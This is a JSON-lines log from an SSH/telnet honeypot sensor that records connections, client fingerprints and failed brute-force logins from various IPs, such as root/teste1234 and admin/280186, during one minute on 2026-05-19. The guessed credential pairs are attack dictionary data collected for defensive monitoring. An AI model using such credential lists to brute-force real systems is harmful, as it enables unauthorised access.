{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:28.783186Z","src_ip":"2.57.121.112","session":"473859e6bf95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:28.883452Z","src_ip":"2.57.121.112","session":"473859e6bf95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280186","message":"login attempt [admin/280186] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:29.361113Z","src_ip":"2.57.121.112","session":"473859e6bf95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"28011997","message":"login attempt [admin/28011997] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:30.465340Z","src_ip":"2.57.121.112","session":"473859e6bf95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"28011971","message":"login attempt [admin/28011971] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:31.570431Z","src_ip":"2.57.121.112","session":"473859e6bf95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"2747","message":"login attempt [admin/2747] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:32.674811Z","src_ip":"2.57.121.112","session":"473859e6bf95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"272829","message":"login attempt [admin/272829] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:33.780412Z","src_ip":"2.57.121.112","session":"473859e6bf95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:34.885987Z","src_ip":"2.57.121.112","session":"473859e6bf95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.89.56","src_port":35718,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a0b1c448151","protocol":"ssh","message":"New connection: 43.173.89.56:35718 (159.203.135.109:22) [session: 0a0b1c448151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:38.983577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:38.987357Z","src_ip":"43.173.89.56","session":"0a0b1c448151","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:39.054469Z","src_ip":"43.173.89.56","session":"0a0b1c448151","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste1234","message":"login attempt [root/teste1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:39.356666Z","src_ip":"43.173.89.56","session":"0a0b1c448151","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:40.427085Z","src_ip":"43.173.89.56","session":"0a0b1c448151","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.27.11","src_port":57624,"dst_ip":"159.203.135.109","dst_port":22,"session":"f21acfd303e2","protocol":"ssh","message":"New connection: 43.134.27.11:57624 (159.203.135.109:22) [session: f21acfd303e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:44.043074Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:44.048800Z","src_ip":"43.134.27.11","session":"f21acfd303e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:44.285814Z","src_ip":"43.134.27.11","session":"f21acfd303e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jasper123","message":"login attempt [root/jasper123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:45.267476Z","src_ip":"43.134.27.11","session":"f21acfd303e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:46.507952Z","src_ip":"43.134.27.11","session":"f21acfd303e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.16.4","src_port":37016,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb7ee3d95416","protocol":"ssh","message":"New connection: 43.130.16.4:37016 (159.203.135.109:22) [session: bb7ee3d95416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:56.998255Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:57.003293Z","src_ip":"43.130.16.4","session":"bb7ee3d95416","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:57.073771Z","src_ip":"43.130.16.4","session":"bb7ee3d95416","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tanya","message":"login attempt [root/tanya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:57.383720Z","src_ip":"43.130.16.4","session":"bb7ee3d95416","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:58.456380Z","src_ip":"43.130.16.4","session":"bb7ee3d95416","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40656,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8665d9051d1","protocol":"telnet","message":"New connection: 192.119.13.58:40656 (10.17.0.5:23) [session: f8665d9051d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:31:59.155955Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.39.191","src_port":59746,"dst_ip":"159.203.135.109","dst_port":22,"session":"1eef3cbc13ca","protocol":"ssh","message":"New connection: 43.153.39.191:59746 (159.203.135.109:22) [session: 1eef3cbc13ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:07.306866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:07.311094Z","src_ip":"43.153.39.191","session":"1eef3cbc13ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:07.378477Z","src_ip":"43.153.39.191","session":"1eef3cbc13ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwerty123","message":"login attempt [root/123qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:07.690651Z","src_ip":"43.153.39.191","session":"1eef3cbc13ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:08.762417Z","src_ip":"43.153.39.191","session":"1eef3cbc13ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":58466,"dst_ip":"159.203.135.109","dst_port":22,"session":"7808e0679873","protocol":"ssh","message":"New connection: 89.108.118.91:58466 (159.203.135.109:22) [session: 7808e0679873]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:16.433072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:16.438155Z","src_ip":"89.108.118.91","session":"7808e0679873","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:16.589572Z","src_ip":"89.108.118.91","session":"7808e0679873","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweras","message":"login attempt [root/qweras] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:17.031356Z","src_ip":"89.108.118.91","session":"7808e0679873","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:18.184734Z","src_ip":"89.108.118.91","session":"7808e0679873","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.08727812767029,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:37.243145Z","src_ip":"192.119.13.58","session":"f8665d9051d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36020,"dst_ip":"10.17.0.5","dst_port":23,"session":"60f5b164c2c7","protocol":"telnet","message":"New connection: 192.119.13.58:36020 (10.17.0.5:23) [session: 60f5b164c2c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:42.495599Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.47.9.103","src_port":57302,"dst_ip":"159.203.135.109","dst_port":22,"session":"fde95cc5fc3b","protocol":"ssh","message":"New connection: 181.47.9.103:57302 (159.203.135.109:22) [session: fde95cc5fc3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:50.091967Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:50.096450Z","src_ip":"181.47.9.103","session":"fde95cc5fc3b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:50.240569Z","src_ip":"181.47.9.103","session":"fde95cc5fc3b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":58036,"dst_ip":"159.203.135.109","dst_port":22,"session":"317390f775c9","protocol":"ssh","message":"New connection: 2.57.122.238:58036 (159.203.135.109:22) [session: 317390f775c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:50.633160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:50.637416Z","src_ip":"2.57.122.238","session":"317390f775c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:50.741028Z","src_ip":"2.57.122.238","session":"317390f775c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ECu13nhc64","message":"login attempt [root/ECu13nhc64] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:50.848776Z","src_ip":"181.47.9.103","session":"fde95cc5fc3b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:51.043743Z","src_ip":"2.57.122.238","session":"317390f775c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:51.995752Z","src_ip":"181.47.9.103","session":"fde95cc5fc3b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:52.146352Z","src_ip":"2.57.122.238","session":"317390f775c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.150.26","src_port":48944,"dst_ip":"159.203.135.109","dst_port":22,"session":"37e5176a8fd6","protocol":"ssh","message":"New connection: 152.32.150.26:48944 (159.203.135.109:22) [session: 37e5176a8fd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T22:32:53.741801Z"}
